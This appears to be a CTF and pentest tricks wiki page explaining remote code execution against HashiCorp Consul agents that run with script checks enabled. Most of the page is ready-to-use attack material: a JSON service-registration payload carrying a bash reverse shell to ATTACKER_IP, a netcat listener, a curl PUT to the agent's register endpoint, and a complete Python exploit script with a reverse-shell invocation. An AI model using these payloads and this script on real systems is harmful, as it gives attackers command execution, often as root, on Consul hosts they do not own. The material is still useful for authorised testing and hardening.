> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-14/misconfiguration/privilege-escalation-misconfiguration-consul.md).

# Consul

## Consul API Service Registration RCE

Exploiting a Consul agent with `enable_script_checks=true` and API access allows registering a malicious service check for RCE. The `enable_script_checks` configuration option controls whether the agent should allow script checks. When set to `true`, the agent is permitted to execute scripts or commands specified in service or check definitions. This setting is disabled by default (`false`) due to the security implications of executing arbitrary commands provided via the API. Enabling this feature should be done with caution.

This vulnerability, identified as CVE-2023-5332, affects HashiCorp Consul versions 1.8.0 through 1.16.2 when `enable_script_checks` is true and an authenticated attacker has an ACL token with `service:write` privileges.

An agent configured with this setting enabled might look like this in its configuration file:

```json
{
  "enable_script_checks": true
}
```

To exploit this, an attacker needs to craft a JSON payload defining a service check. The command to be executed is placed within the `Args` field of the `Check` object. The `Interval` and `Timeout` fields determine how often the check runs and how long it waits before timing out.

Craft a JSON payload defining a service check with your command in the `Args` field:

```json
{
"ID" : "backdoor_shell",
"Name" : "backdoor_shell",
"Address" :"127.0.0.1",
"Port" : 80,
"check" : {
  "Args" : ["/bin/bash","-c","bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"],
  "interval" : "10s",
  "Timeout" : "86400s"
  }
}
```

On your machine, set up a listener:

```bash
nc -lvnp ATTACKER_PORT
```

On the target (with API access, e.g., `curl http://127.0.0.1:8500/v1/agent/service/register`), register the service using the crafted JSON payload and a valid ACL token with `service:write` permissions:

```bash
curl http://127.0.0.1:8500/v1/agent/service/register -X PUT --data @revshell.json --header "X-Consul-Token: YOUR_ACL_TOKEN"
```

The API endpoint for service registration is `/v1/agent/service/register`. The command in `Args` will execute with the Consul agent's privileges (often root) at the specified `interval`.

Alternatively, a Python script can automate the service registration process. The following script targets CVE-2023-5332 and requires the Consul agent URL, the command to execute, and optionally an ACL token.

```python
#!/usr/bin/env python3

# Exploit Title: HashiCorp Consul 1.8.0 - 1.16.2 - Remote Command Execution (Authenticated)
# Date: 2023-12-14
# Exploit Author: Chocapikk
# Vendor Homepage: https://www.hashicorp.com/
# Version: 1.8.0 - 1.16.2 (enable_script_checks=true)
# Tested on: Consul 1.16.2 on Ubuntu 22.04.3 LTS
# CVE: CVE-2023-5332

import requests
import json
import argparse
import sys

def register_service(consul_url, token, service_id, service_name, command):
    url = f"{consul_url}/v1/agent/service/register"
    headers = {"X-Consul-Token": token} if token else {}
    payload = {
        "ID": service_id,
        "Name": service_name,
        "Address": "127.0.0.1",
        "Port": 80,
        "Check": {
            "Args": ["/bin/bash", "-c", command],
            "Interval": "10s",
            "Timeout": "86400s"
        }
    }
    try:
        response = requests.put(url, headers=headers, data=json.dumps(payload))
        response.raise_for_status()
        print(f"[+] Service '{service_name}' registered successfully. Command will execute shortly.")
    except requests.exceptions.RequestException as e:
        print(f"[-] Error registering service: {e}")
        sys.exit(1)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="HashiCorp Consul RCE via Service Registration (CVE-2023-5332)")
    parser.add_argument("--consul-url", required=True, help="Consul agent URL (e.g., http://127.0.0.1:8500)")
    parser.add_argument("--token", help="Consul ACL token (optional, but usually required for service:write)")
    parser.add_argument("--command", required=True, help="Command to execute on the target")
    parser.add_argument("--service-id", default="rce_service", help="Service ID")
    parser.add_argument("--service-name", default="rce_service_check", help="Service Name")

    args = parser.parse_args()

    register_service(args.consul_url, args.token, args.service_id, args.service_name, args.command)
```

To use the script, save it (e.g., as `consul_rce.py`) and run it with the required arguments:

```bash
python3 consul_rce.py --consul-url http://TARGET_IP:8500 --token YOUR_ACL_TOKEN --command "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"
```

This script sends a PUT request to the `/v1/agent/service/register` endpoint with the crafted payload, automating the exploit process.
